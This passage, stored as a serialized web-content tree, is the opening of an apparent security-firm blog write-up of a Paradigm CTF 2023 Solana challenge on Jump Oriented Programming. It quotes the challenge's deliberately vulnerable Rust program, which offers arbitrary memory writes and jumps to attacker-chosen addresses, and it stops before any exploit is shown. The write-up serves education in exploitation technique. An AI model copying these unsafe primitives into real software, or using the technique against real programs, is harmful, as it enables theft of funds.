secure.",{"type":24,"tag":4517,"props":41687,"children":41688},{},[41689],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":41691},[41692,41693,41700,41708],{"id":20198,"depth":213,"text":20201},{"id":36716,"depth":213,"text":36719,"children":41694},[41695,41696,41697,41698,41699],{"id":36727,"depth":238,"text":36730},{"id":36795,"depth":238,"text":36798},{"id":36831,"depth":238,"text":36834},{"id":38227,"depth":238,"text":38230},{"id":38585,"depth":238,"text":38588},{"id":39372,"depth":213,"text":39375,"children":41701},[41702,41703,41704,41705,41706,41707],{"id":39378,"depth":238,"text":39381},{"id":39422,"depth":238,"text":39425},{"id":40326,"depth":238,"text":40329},{"id":7316,"depth":238,"text":7319},{"id":40769,"depth":238,"text":36092},{"id":41598,"depth":238,"text":41601},{"id":30191,"depth":213,"text":20189},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":41713,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41714,"description":41715,"author":41716,"image":41718,"date":41720,"isFeatured":16,"onBlogPage":16,"body":41721,"_type":4536,"_id":47141,"_source":4538,"_file":47142,"_stem":47143,"_extension":4541},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[41717,10],"nicola",{"src":41719},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":41722,"toc":47130},[41723,41737,41757,41762,41766,41779,41804,41810,41815,41830,42184,42199,42464,42480,43123,43129,43134,43147,43155,43367,43375,43678,43686,43829,43837,44362,44368,44380,44393,44407,44412,45180,45185,45193,45198,45204,45216,45281,45286,45299,45312,45318,45346,46497,46510,46552,46557,46562,46576,46716,46737,46758,46765,46816,46824,46835,46848,46853,46977,46990,47092,47096,47109,47114,47126],{"type":24,"tag":25,"props":41724,"children":41725},{},[41726,41728,41735],{"type":29,"value":41727},"In the world of CTFs, ",{"type":24,"tag":101,"props":41729,"children":41732},{"href":41730,"rel":41731},"https://twitter.com/paradigm_ctf",[105],[41733],{"type":29,"value":41734},"Paradigm CTF 2023",{"type":29,"value":41736}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":41738,"children":41739},{},[41740,41742,41749,41750],{"type":29,"value":41741},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":101,"props":41743,"children":41746},{"href":41744,"rel":41745},"https://osec.io/blog/2022-03-14-solana-security-intro",[105],[41747],{"type":29,"value":41748},"Solana: An Auditor's Introduction",{"type":29,"value":1826},{"type":24,"tag":101,"props":41751,"children":41754},{"href":41752,"rel":41753},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[105],[41755],{"type":29,"value":41756},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":41758,"children":41759},{},[41760],{"type":29,"value":41761},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":59,"props":41763,"children":41764},{"id":20198},[41765],{"type":29,"value":20201},{"type":24,"tag":25,"props":41767,"children":41768},{},[41769,41771,41777],{"type":29,"value":41770},"The challenge itself resides into ",{"type":24,"tag":154,"props":41772,"children":41774},{"className":41773},[],[41775],{"type":29,"value":41776},"framework/",{"type":29,"value":41778},", and is composed of 2 parts:",{"type":24,"tag":17924,"props":41780,"children":41781},{},[41782,41793],{"type":24,"tag":1790,"props":41783,"children":41784},{},[41785,41791],{"type":24,"tag":154,"props":41786,"children":41788},{"className":41787},[],[41789],{"type":29,"value":41790},"framework/chall/lib.rs",{"type":29,"value":41792},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":1790,"props":41794,"children":41795},{},[41796,41802],{"type":24,"tag":154,"props":41797,"children":41799},{"className":41798},[],[41800],{"type":29,"value":41801},"framework/src/main.rs",{"type":29,"value":41803},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":395,"props":41805,"children":41807},{"id":41806},"vulnerable-program",[41808],{"type":29,"value":41809},"Vulnerable Program",{"type":24,"tag":25,"props":41811,"children":41812},{},[41813],{"type":29,"value":41814},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":1786,"props":41816,"children":41817},{},[41818],{"type":24,"tag":1790,"props":41819,"children":41820},{},[41821,41822,41828],{"type":29,"value":9121},{"type":24,"tag":154,"props":41823,"children":41825},{"className":41824},[],[41826],{"type":29,"value":41827},"data[0] == 0",{"type":29,"value":41829}," a function that lets you write-what-where is executed",{"type":24,"tag":147,"props":41831,"children":41833},{"className":151,"code":41832,"language":150,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[41834],{"type":24,"tag":154,"props":41835,"children":41836},{"__ignoreMap":7},[41837,41845,41890,41901,42024,42141,42170,42177],{"type":24,"tag":158,"props":41838,"children":41839},{"class":160,"line":161},[41840],{"type":24,"tag":158,"props":41841,"children":41842},{"style":188},[41843],{"type":29,"value":41844},"#[inline(never)]\n",{"type":24,"tag":158,"props":41846,"children":41847},{"class":160,"line":213},[41848,41852,41856,41861,41865,41869,41873,41877,41881,41885],{"type":24,"tag":158,"props":41849,"children":41850},{"style":165},[41851],{"type":29,"value":14924},{"type":24,"tag":158,"props":41853,"children":41854},{"style":165},[41855],{"type":29,"value":14929},{"type":24,"tag":158,"props":41857,"children":41858},{"style":496},[41859],{"type":29,"value":41860}," write",{"type":24,"tag":158,"props":41862,"children":41863},{"style":188},[41864],{"type":29,"value":504},{"type":24,"tag":158,"props":41866,"children":41867},{"style":177},[41868],{"type":29,"value":5361},{"type":24,"tag":158,"props":41870,"children":41871},{"style":222},[41872],{"type":29,"value":225},{"type":24,"tag":158,"props":41874,"children":41875},{"style":222},[41876],{"type":29,"value":8784},{"type":24,"tag":158,"props":41878,"children":41879},{"style":188},[41880],{"type":29,"value":2048},{"type":24,"tag":158,"props":41882,"children":41883},{"style":171},[41884],{"type":29,"value":5082},{"type":24,"tag":158,"props":41886,"children":41887},{"style":188},[41888],{"type":29,"value":41889},"]) {\n",{"type":24,"tag":158,"props":41891,"children":41892},{"class":160,"line":238},[41893,41897],{"type":24,"tag":158,"props":41894,"children":41895},{"style":165},[41896],{"type":29,"value":15067},{"type":24,"tag":158,"props":41898,"children":41899},{"style":188},[41900],{"type":29,"value":210},{"type":24,"tag":158,"props":41902,"children":41903},{"class":160,"line":259},[41904,41908,41912,41916,41921,41925,41930,41934,41939,41943,41948,41952,41956,41960,41964,41968,41972,41976,41980,41984,41988,41992,41996,42000,42004,42008,42012,42016,42020],{"type":24,"tag":158,"props":41905,"children":41906},{"style":165},[41907],{"type":29,"value":4732},{"type":24,"tag":158,"props":41909,"children":41910},{"style":177},[41911],{"type":29,"value":15091},{"type":24,"tag":158,"props":41913,"children":41914},{"style":222},[41915],{"type":29,"value":462},{"type":24,"tag":158,"props":41917,"children":41918},{"style":188},[41919],{"type":29,"value":41920}," std",{"type":24,"tag":158,"props":41922,"children":41923},{"style":222},[41924],{"type":29,"value":2146},{"type":24,"tag":158,"props":41926,"children":41927},{"style":188},[41928],{"type":29,"value":41929},"mem",{"type":24,"tag":158,"props":41931,"children":41932},{"style":222},[41933],{"type":29,"value":2146},{"type":24,"tag":158,"props":41935,"children":41936},{"style":496},[41937],{"type":29,"value":41938},"transmute",{"type":24,"tag":158,"props":41940,"children":41941},{"style":222},[41942],{"type":29,"value":2146},{"type":24,"tag":158,"props":41944,"children":41945},{"style":188},[41946],{"type":29,"value":41947},"\u003C[",{"type":24,"tag":158,"props":41949,"children":41950},{"style":171},[41951],{"type":29,"value":5082},{"type":24,"tag":158,"props":41953,"children":41954},{"style":188},[41955],{"type":29,"value":18465},{"type":24,"tag":158,"props":41957,"children":41958},{"style":465},[41959],{"type":29,"value":5736},{"type":24,"tag":158,"props":41961,"children":41962},{"style":188},[41963],{"type":29,"value":24305},{"type":24,"tag":158,"props":41965,"children":41966},{"style":222},[41967],{"type":29,"value":577},{"type":24,"tag":158,"props":41969,"children":41970},{"style":165},[41971],{"type":29,"value":2169},{"type":24,"tag":158,"props":41973,"children":41974},{"style":171},[41975],{"type":29,"value":230},{"type":24,"tag":158,"props":41977,"children":41978},{"style":188},[41979],{"type":29,"value":3817},{"type":24,"tag":158,"props":41981,"children":41982},{"style":177},[41983],{"type":29,"value":5361},{"type":24,"tag":158,"props":41985,"children":41986},{"style":188},[41987],{"type":29,"value":2048},{"type":24,"tag":158,"props":41989,"children":41990},{"style":222},[41991],{"type":29,"value":2030},{"type":24,"tag":158,"props":41993,"children":41994},{"style":465},[41995],{"type":29,"value":5736},{"type":24,"tag":158,"props":41997,"children":41998},{"style":188},[41999],{"type":29,"value":16646},{"type":24,"tag":158,"props":42001,"children":42002},{"style":222},[42003],{"type":29,"value":347},{"type":24,"tag":158,"props":42005,"children":42006},{"style":496},[42007],{"type":29,"value":27419},{"type":24,"tag":158,"props":42009,"children":42010},{"style":188},[42011],{"type":29,"value":15113},{"type":24,"tag":158,"props":42013,"children":42014},{"style":222},[42015],{"type":29,"value":347},{"type":24,"tag":158,"props":42017,"children":42018},{"style":496},[42019],{"type":29,"value":5324},{"type":24,"tag":158,"props":42021,"children":42022},{"style":188},[42023],{"type":29,"value":16660},{"type":24,"tag":158,"props":42025,"children":42026},{"class":160,"line":280},[42027,42031,42036,42040,42044,42048,42052,42056,42060,42064,42068,42072,42076,42080,42084,42088,42092,42096,42100,42104,42108,42113,42117,42121,42125,42129,42133,42137],{"type":24,"tag":158,"props":42028,"children":42029},{"style":165},[42030],{"type":29,"value":4732},{"type":24,"tag":158,"props":42032,"children":42033},{"style":177},[42034],{"type":29,"value":42035}," val",{"type":24,"tag":158,"props":42037,"children":42038},{"style":222},[42039],{"type":29,"value":462},{"type":24,"tag":158,"props":42041,"children":42042},{"style":188},[42043],{"type":29,"value":41920},{"type":24,"tag":158,"props":42045,"children":42046},{"style":222},[42047],{"type":29,"value":2146},{"type":24,"tag":158,"props":42049,"children":42050},{"style":188},[42051],{"type":29,"value":41929},{"type":24,"tag":158,"props":42053,"children":42054},{"style":222},[42055],{"type":29,"value":2146},{"type":24,"tag":158,"props":42057,"children":42058},{"style":496},[42059],{"type":29,"value":41938},{"type":24,"tag":158,"props":42061,"children":42062},{"style":222},[42063],{"type":29,"value":2146},{"type":24,"tag":158,"props":42065,"children":42066},{"style":188},[42067],{"type":29,"value":41947},{"type":24,"tag":158,"props":42069,"children":42070},{"style":171},[42071],{"type":29,"value":5082},{"type":24,"tag":158,"props":42073,"children":42074},{"style":188},[42075],{"type":29,"value":18465},{"type":24,"tag":158,"props":42077,"children":42078},{"style":465},[42079],{"type":29,"value":5736},{"type":24,"tag":158,"props":42081,"children":42082},{"style":188},[42083],{"type":29,"value":24305},{"type":24,"tag":158,"props":42085,"children":42086},{"style":171},[42087],{"type":29,"value":4269},{"type":24,"tag":158,"props":42089,"children":42090},{"style":188},[42091],{"type":29,"value":3817},{"type":24,"tag":158,"props":42093,"children":42094},{"style":177},[42095],{"type":29,"value":5361},{"type":24,"tag":158,"props":42097,"children":42098},{"style":188},[42099],{"type":29,"value":2048},{"type":24,"tag":158,"props":42101,"children":42102},{"style":465},[42103],{"type":29,"value":5736},{"type":24,"tag":158,"props":42105,"children":42106},{"style":222},[42107],{"type":29,"value":2030},{"type":24,"tag":158,"props":42109,"children":42110},{"style":465},[42111],{"type":29,"value":42112},"16",{"type":24,"tag":158,"props":42114,"children":42115},{"style":188},[42116],{"type":29,"value":16646},{"type":24,"tag":158,"props":42118,"children":42119},{"style":222},[42120],{"type":29,"value":347},{"type":24,"tag":158,"props":42122,"children":42123},{"style":496},[42124],{"type":29,"value":27419},{"type":24,"tag":158,"props":42126,"children":42127},{"style":188},[42128],{"type":29,"value":15113},{"type":24,"tag":158,"props":42130,"children":42131},{"style":222},[42132],{"type":29,"value":347},{"type":24,"tag":158,"props":42134,"children":42135},{"style":496},[42136],{"type":29,"value":5324},{"type":24,"tag":158,"props":42138,"children":42139},{"style":188},[42140],{"type":29,"value":16660},{"type":24,"tag":158,"props":42142,"children":42143},{"class":160,"line":301},[42144,42149,42153,42158,42162,42166],{"type":24,"tag":158,"props":42145,"children":42146},{"style":177},[42147],{"type":29,"value":42148}," ptr",{"type":24,"tag":158,"props":42150,"children":42151},{"style":222},[42152],{"type":29,"value":347},{"type":24,"tag":158,"props":42154,"children":42155},{"style":496},[42156],{"type":29,"value":42157},"write_volatile",{"type":24,"tag":158,"props":42159,"children":42160},{"style":188},[42161],{"type":29,"value":504},{"type":24,"tag":158,"props":42163,"children":42164},{"style":177},[42165],{"type":29,"value":3517},{"type":24,"tag":158,"props":42167,"children":42168},{"style":188},[42169],{"type":29,"value":1071},{"type":24,"tag":158,"props":42171,"children":42172},{"class":160,"line":626},[42173],{"type":24,"tag":158,"props":42174,"children":42175},{"style":188},[42176],{"type":29,"value":3967},{"type":24,"tag":158,"props":42178,"children":42179},{"class":160,"line":668},[42180],{"type":24,"tag":158,"props":42181,"children":42182},{"style":188},[42183],{"type":29,"value":307},{"type":24,"tag":1786,"props":42185,"children":42186},{"start":213},[42187],{"type":24,"tag":1790,"props":42188,"children":42189},{},[42190,42191,42197],{"type":29,"value":9121},{"type":24,"tag":154,"props":42192,"children":42194},{"className":42193},[],[42195],{"type":29,"value":42196},"data[0] == 1",{"type":29,"value":42198},", a CPI to a non-existent program is executed:",{"type":24,"tag":147,"props":42200,"children":42202},{"className":151,"code":42201,"language":150,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[42203],{"type":24,"tag":154,"props":42204,"children":42205},{"__ignoreMap":7},[42206,42213,42257,42282,42312,42352,42373,42380,42387,42399,42415,42427,42438,42457],{"type":24,"tag":158,"props":42207,"children":42208},{"class":160,"line":161},[42209],{"type":24,"tag":158,"props":42210,"children":42211},{"style":188},[42212],{"type":29,"value":41844},{"type":24,"tag":158,"props":42214,"children":42215},{"class":160,"line":213},[42216,42220,42224,42229,42233,42237,42241,42245,42249,42253],{"type":24,"tag":158,"props":42217,"children":42218},{"style":165},[42219],{"type":29,"value":14924},{"type":24,"tag":158,"props":42221,"children":42222},{"style":165},[42223],{"type":29,"value":14929},{"type":24,"tag":158,"props":42225,"children":42226},{"style":496},[42227],{"type":29,"value":42228}," call",{"type":24,"tag":158,"props":42230,"children":42231},{"style":188},[42232],{"type":29,"value":504},{"type":24,"tag":158,"props":42234,"children":42235},{"style":177},[42236],{"type":29,"value":5361},{"type":24,"tag":158,"props":42238,"children":42239},{"style":222},[42240],{"type":29,"value":225},{"type":24,"tag":158,"props":42242,"children":42243},{"style":222},[42244],{"type":29,"value":8784},{"type":24,"tag":158,"props":42246,"children":42247},{"style":188},[42248],{"type":29,"value":2048},{"type":24,"tag":158,"props":42250,"children":42251},{"style":171},[42252],{"type":29,"value":5082},{"type":24,"tag":158,"props":42254,"children":42255},{"style":188},[42256],{"type":29,"value":41889},{"type":24,"tag":158,"props":42258,"children":42259},{"class":160,"line":238},[42260,42264,42269,42273,42278],{"type":24,"tag":158,"props":42261,"children":42262},{"style":165},[42263],{"type":29,"value":2710},{"type":24,"tag":158,"props":42265,"children":42266},{"style":177},[42267],{"type":29,"value":42268}," ix",{"type":24,"tag":158,"props":42270,"children":42271},{"style":222},[42272],{"type":29,"value":462},{"type":24,"tag":158,"props":42274,"children":42275},{"style":171},[42276],{"type":29,"value":42277}," Instruction",{"type":24,"tag":158,"props":42279,"children":42280},{"style":188},[42281],{"type":29,"value":210},{"type":24,"tag":158,"props":42283,"children":42284},{"class":160,"line":259},[42285,42290,42294,42299,42303,42308],{"type":24,"tag":158,"props":42286,"children":42287},{"style":177},[42288],{"type":29,"value":42289}," program_id",{"type":24,"tag":158,"props":42291,"children":42292},{"style":222},[42293],{"type":29,"value":225},{"type":24,"tag":158,"props":42295,"children":42296},{"style":496},[42297],{"type":29,"value":42298}," pubkey!",{"type":24,"tag":158,"props":42300,"children":42301},{"style":188},[42302],{"type":29,"value":504},{"type":24,"tag":158,"props":42304,"children":42305},{"style":1108},[42306],{"type":29,"value":42307},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":158,"props":42309,"children":42310},{"style":188},[42311],{"type":29,"value":8382},{"type":24,"tag":158,"props":42313,"children":42314},{"class":160,"line":280},[42315,42320,42324,42328,42332,42336,42340,42344,42348],{"type":24,"tag":158,"props":42316,"children":42317},{"style":177},[42318],{"type":29,"value":42319}," data",{"type":24,"tag":158,"props":42321,"children":42322},{"style":222},[42323],{"type":29,"value":225},{"type":24,"tag":158,"props":42325,"children":42326},{"style":177},[42327],{"type":29,"value":16339},{"type":24,"tag":158,"props":42329,"children":42330},{"style":222},[42331],{"type":29,"value":347},{"type":24,"tag":158,"props":42333,"children":42334},{"style":496},[42335],{"type":29,"value":27419},{"type":24,"tag":158,"props":42337,"children":42338},{"style":188},[42339],{"type":29,"value":15113},{"type":24,"tag":158,"props":42341,"children":42342},{"style":222},[42343],{"type":29,"value":347},{"type":24,"tag":158,"props":42345,"children":42346},{"style":496},[42347],{"type":29,"value":5324},{"type":24,"tag":158,"props":42349,"children":42350},{"style":188},[42351],{"type":29,"value":5150},{"type":24,"tag":158,"props":42353,"children":42354},{"class":160,"line":301},[42355,42360,42364,42368],{"type":24,"tag":158,"props":42356,"children":42357},{"style":177},[42358],{"type":29,"value":42359}," accounts",{"type":24,"tag":158,"props":42361,"children":42362},{"style":222},[42363],{"type":29,"value":225},{"type":24,"tag":158,"props":42365,"children":42366},{"style":496},[42367],{"type":29,"value":5387},{"type":24,"tag":158,"props":42369,"children":42370},{"style":188},[42371],{"type":29,"value":42372},"[]\n",{"type":24,"tag":158,"props":42374,"children":42375},{"class":160,"line":626},[42376],{"type":24,"tag":158,"props":42377,"children":42378},{"style":188},[42379],{"type":29,"value":40261},{"type":24,"tag":158,"props":42381,"children":42382},{"class":160,"line":668},[42383],{"type":24,"tag":158,"props":42384,"children":42385},{"emptyLinePlaceholder":16},[42386],{"type":29,"value":481},{"type":24,"tag":158,"props":42388,"children":42389},{"class":160,"line":676},[42390,42395],{"type":24,"tag":158,"props":42391,"children":42392},{"style":496},[42393],{"type":29,"value":42394}," invoke_signed_unchecked",{"type":24,"tag":158,"props":42396,"children":42397},{"style":188},[42398],{"type":29,"value":2156},{"type":24,"tag":158,"props":42400,"children":42401},{"class":160,"line":684},[42402,42406,42411],{"type":24,"tag":158,"props":42403,"children":42404},{"style":222},[42405],{"type":29,"value":5131},{"type":24,"tag":158,"props":42407,"children":42408},{"style":177},[42409],{"type":29,"value":42410},"ix",{"type":24,"tag":158,"props":42412,"children":42413},{"style":188},[42414],{"type":29,"value":235},{"type":24,"tag":158,"props":42416,"children":42417},{"class":160,"line":700},[42418,42422],{"type":24,"tag":158,"props":42419,"children":42420},{"style":222},[42421],{"type":29,"value":5131},{"type":24,"tag":158,"props":42423,"children":42424},{"style":188},[42425],{"type":29,"value":42426},"[],\n",{"type":24,"tag":158,"props":42428,"children":42429},{"class":160,"line":785},[42430,42434],{"type":24,"tag":158,"props":42431,"children":42432},{"style":222},[42433],{"type":29,"value":5131},{"type":24,"tag":158,"props":42435,"children":42436},{"style":188},[42437],{"type":29,"value":42426},{"type":24,"tag":158,"props":42439,"children":42440},{"class":160,"line":1447},[42441,42445,42449,42453],{"type":24,"tag":158,"props":42442,"children":42443},{"style":188},[42444],{"type":29,"value":5315},{"type":24,"tag":158,"props":42446,"children":42447},{"style":222},[42448],{"type":29,"value":347},{"type":24,"tag":158,"props":42450,"children":42451},{"style":496},[42452],{"type":29,"value":5324},{"type":24,"tag":158,"props":42454,"children":42455},{"style":188},[42456],{"type":29,"value":5329},{"type":24,"tag":158,"props":42458,"children":42459},{"class":160,"line":1509},[42460],{"type":24,"tag":158,"props":42461,"children":42462},{"style":188},[42463],{"type":29,"value":307},{"type":24,"tag":1786,"props":42465,"children":42466},{"start":238},[42467],{"type":24,"tag":1790,"props":42468,"children":42469},{},[42470,42472,42478],{"type":29,"value":42471},"Finally, if ",{"type":24,"tag":154,"props":42473,"children":42475},{"className":42474},[],[42476],{"type":29,"value":42477},"data[0]",{"type":29,"value":42479}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":147,"props":42481,"children":42483},{"className":151,"code":42482,"language":150,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[42484],{"type":24,"tag":154,"props":42485,"children":42486},{"__ignoreMap":7},[42487,42494,42542,42553,42673,42788,42807,42814,42849,42856,42975,43090,43109,43116],{"type":24,"tag":158,"props":42488,"children":42489},{"class":160,"line":161},[42490],{"type":24,"tag":158,"props":42491,"children":42492},{"style":188},[42493],{"type":29,"value":41844},{"type":24,"tag":158,"props":42495,"children":42496},{"class":160,"line":213},[42497,42501,42505,42510,42514,42518,42522,42526,42530,42534,42538],{"type":24,"tag":158,"props":42498,"children":42499},{"style":165},[42500],{"type":29,"value":14924},{"type":24,"tag":158,"props":42502,"children":42503},{"style":165},[42504],{"type":29,"value":14929},{"type":24,"tag":158,"props":42506,"children":42507},{"style":496},[42508],{"type":29,"value":42509}," process",{"type":24,"tag":158,"props":42511,"children":42512},{"style":188},[42513],{"type":29,"value":504},{"type":24,"tag":158,"props":42515,"children":42516},{"style":165},[42517],{"type":29,"value":2169},{"type":24,"tag":158,"props":42519,"children":42520},{"style":177},[42521],{"type":29,"value":16339},{"type":24,"tag":158,"props":42523,"children":42524},{"style":222},[42525],{"type":29,"value":225},{"type":24,"tag":158,"props":42527,"children":42528},{"style":222},[42529],{"type":29,"value":8784},{"type":24,"tag":158,"props":42531,"children":42532},{"style":188},[42533],{"type":29,"value":2048},{"type":24,"tag":158,"props":42535,"children":42536},{"style":171},[42537],{"type":29,"value":5082},{"type":24,"tag":158,"props":42539,"children":42540},{"style":188},[42541],{"type":29,"value":41889},{"type":24,"tag":158,"props":42543,"children":42544},{"class":160,"line":238},[42545,42549],{"type":24,"tag":158,"props":42546,"children":42547},{"style":165},[42548],{"type":29,"value":15067},{"type":24,"tag":158,"props":42550,"children":42551},{"style":188},[42552],{"type":29,"value":210},{"type":24,"tag":158,"props":42554,"children":42555},{"class":160,"line":259},[42556,42560,42564,42568,42572,42576,42580,42584,42588,42592,42596,42600,42604,42608,42612,42616,42620,42624,42629,42633,42637,42641,42645,42649,42653,42657,42661,42665,42669],{"type":24,"tag":158,"props":42557,"children":42558},{"style":165},[42559],{"type":29,"value":4732},{"type":24,"tag":158,"props":42561,"children":42562},{"style":177},[42563],{"type":29,"value":15091},{"type":24,"tag":158,"props":42565,"children":42566},{"style":222},[42567],{"type":29,"value":462},{"type":24,"tag":158,"props":42569,"children":42570},{"style":188},[42571],{"type":29,"value":41920},{"type":24,"tag":158,"props":42573,"children":42574},{"style":222},[42575],{"type":29,"value":2146},{"type":24,"tag":158,"props":42577,"children":42578},{"style":188},[42579],{"type":29,"value":41929},{"type":24,"tag":158,"props":42581,"children":42582},{"style":222},[42583],{"type":29,"value":2146},{"type":24,"tag":158,"props":42585,"children":42586},{"style":496},[42587],{"type":29,"value":41938},{"type":24,"tag":158,"props":42589,"children":42590},{"style":222},[42591],{"type":29,"value":2146},{"type":24,"tag":158,"props":42593,"children":42594},{"style":188},[42595],{"type":29,"value":41947},{"type":24,"tag":158,"props":42597,"children":42598},{"style":171},[42599],{"type":29,"value":5082},{"type":24,"tag":158,"props":42601,"children":42602},{"style":188},[42603],{"type":29,"value":18465},{"type":24,"tag":158,"props":42605,"children":42606},{"style":465},[42607],{"type":29,"value":5736},{"type":24,"tag":158,"props":42609,"children":42610},{"style":188},[42611],{"type":29,"value":24305},{"type":24,"tag":158,"props":42613,"children":42614},{"style":165},[42615],{"type":29,"value":21510},{"type":24,"tag":158,"props":42617,"children":42618},{"style":188},[42619],{"type":29,"value":504},{"type":24,"tag":158,"props":42621,"children":42622},{"style":171},[42623],{"type":29,"value":4269},{"type":24,"tag":158,"props":42625,"children":42626},{"style":188},[42627],{"type":29,"value":42628},")>(",{"type":24,"tag":158,"props":42630,"children":42631},{"style":177},[42632],{"type":29,"value":5361},{"type":24,"tag":158,"props":42634,"children":42635},{"style":188},[42636],{"type":29,"value":2048},{"type":24,"tag":158,"props":42638,"children":42639},{"style":222},[42640],{"type":29,"value":2030},{"type":24,"tag":158,"props":42642,"children":42643},{"style":465},[42644],{"type":29,"value":5736},{"type":24,"tag":158,"props":42646,"children":42647},{"style":188},[42648],{"type":29,"value":16646},{"type":24,"tag":158,"props":42650,"children":42651},{"style":222},[42652],{"type":29,"value":347},{"type":24,"tag":158,"props":42654,"children":42655},{"style":496},[42656],{"type":29,"value":27419},{"type":24,"tag":158,"props":42658,"children":42659},{"style":188},[42660],{"type":29,"value":15113},{"type":24,"tag":158,"props":42662,"children":42663},{"style":222},[42664],{"type":29,"value":347},{"type":24,"tag":158,"props":42666,"children":42667},{"style":496},[42668],{"type":29,"value":5324},{"type":24,"tag":158,"props":42670,"children":42671},{"style":188},[42672],{"type":29,"value":16660},{"type":24,"tag":158,"props":42674,"children":42675},{"class":160,"line":280},[42676,42680,42684,42688,42692,42696,42700,42704,42708,42712,42716,42720,42724,42728,42732,42736,42740,42744,42748,42752,42756,42760,42764,42768,42772,42776,42780,42784],{"type":24,"tag":158,"props":42677,"children":42678},{"style":165},[42679],{"type":29,"value":4732},{"type":24,"tag":158,"props":42681,"children":42682},{"style":177},[42683],{"type":29,"value":42035},{"type":24,"tag":158,"props":42685,"children":42686},{"style":222},[42687],{"type":29,"value":462},{"type":24,"tag":158,"props":42689,"children":42690},{"style":188},[42691],{"type":29,"value":41920},{"type":24,"tag":158,"props":42693,"children":42694},{"style":222},[42695],{"type":29,"value":2146},{"type":24,"tag":158,"props":42697,"children":42698},{"style":188},[42699],{"type":29,"value":41929},{"type":24,"tag":158,"props":42701,"children":42702},{"style":222},[42703],{"type":29,"value":2146},{"type":24,"tag":158,"props":42705,"children":42706},{"style":496},[42707],{"type":29,"value":41938},{"type":24,"tag":158,"props":42709,"children":42710},{"style":222},[42711],{"type":29,"value":2146},{"type":24,"tag":158,"props":42713,"children":42714},{"style":188},[42715],{"type":29,"value":41947},{"type":24,"tag":158,"props":42717,"children":42718},{"style":171},[42719],{"type":29,"value":5082},{"type":24,"tag":158,"props":42721,"children":42722},{"style":188},[42723],{"type":29,"value":18465},{"type":24,"tag":158,"props":42725,"children":42726},{"style":465},[42727],{"type":29,"value":5736},{"type":24,"tag":158,"props":42729,"children":42730},{"style":188},[42731],{"type":29,"value":24305},{"type":24,"tag":158,"props":42733,"children":42734},{"style":171},[42735],{"type":29,"value":4269},{"type":24,"tag":158,"props":42737,"children":42738},{"style":188},[42739],{"type":29,"value":3817},{"type":24,"tag":158,"props":42741,"children":42742},{"style":177},[42743],{"type":29,"value":5361},{"type":24,"tag":158,"props":42745,"children":42746},{"style":188},[42747],{"type":29,"value":2048},{"type":24,"tag":158,"props":42749,"children":42750},{"style":465},[42751],{"type":29,"value":5736},{"type":24,"tag":158,"props":42753,"children":42754},{"style":222},[42755],{"type":29,"value":2030},{"type":24,"tag":158,"props":42757,"children":42758},{"style":465},[42759],{"type":29,"value":42112},{"type":24,"tag":158,"props":42761,"children":42762},{"style":188},[42763],{"type":29,"value":16646},{"type":24,"tag":158,"props":42765,"children":42766},{"style":222},[42767],{"type":29,"value":347},{"type":24,"tag":158,"props":42769,"children":42770},{"style":496},[42771],{"type":29,"value":27419},{"type":24,"tag":158,"props":42773,"children":42774},{"style":188},[42775],{"type":29,"value":15113},{"type":24,"tag":158,"props":42777,"children":42778},{"style":222},[42779],{"type":29,"value":347},{"type":24,"tag":158,"props":42781,"children":42782},{"style":496},[42783],{"type":29,"value":5324},{"type":24,"tag":158,"props":42785,"children":42786},{"style":188},[42787],{"type":29,"value":16660},{"type":24,"tag":158,"props":42789,"children":42790},{"class":160,"line":301},[42791,42795,42799,42803],{"type":24,"tag":158,"props":42792,"children":42793},{"style":496},[42794],{"type":29,"value":42148},{"type":24,"tag":158,"props":42796,"children":42797},{"style":188},[42798],{"type":29,"value":504},{"type":24,"tag":158,"props":42800,"children":42801},{"style":177},[42802],{"type":29,"value":3517},{"type":24,"tag":158,"props":42804,"children":42805},{"style":188},[42806],{"type":29,"value":1071},{"type":24,"tag":158,"props":42808,"children":42809},{"class":160,"line":626},[42810],{"type":24,"tag":158,"props":42811,"children":42812},{"emptyLinePlaceholder":16},[42813],{"type":29,"value":481},{"type":24,"tag":158,"props":4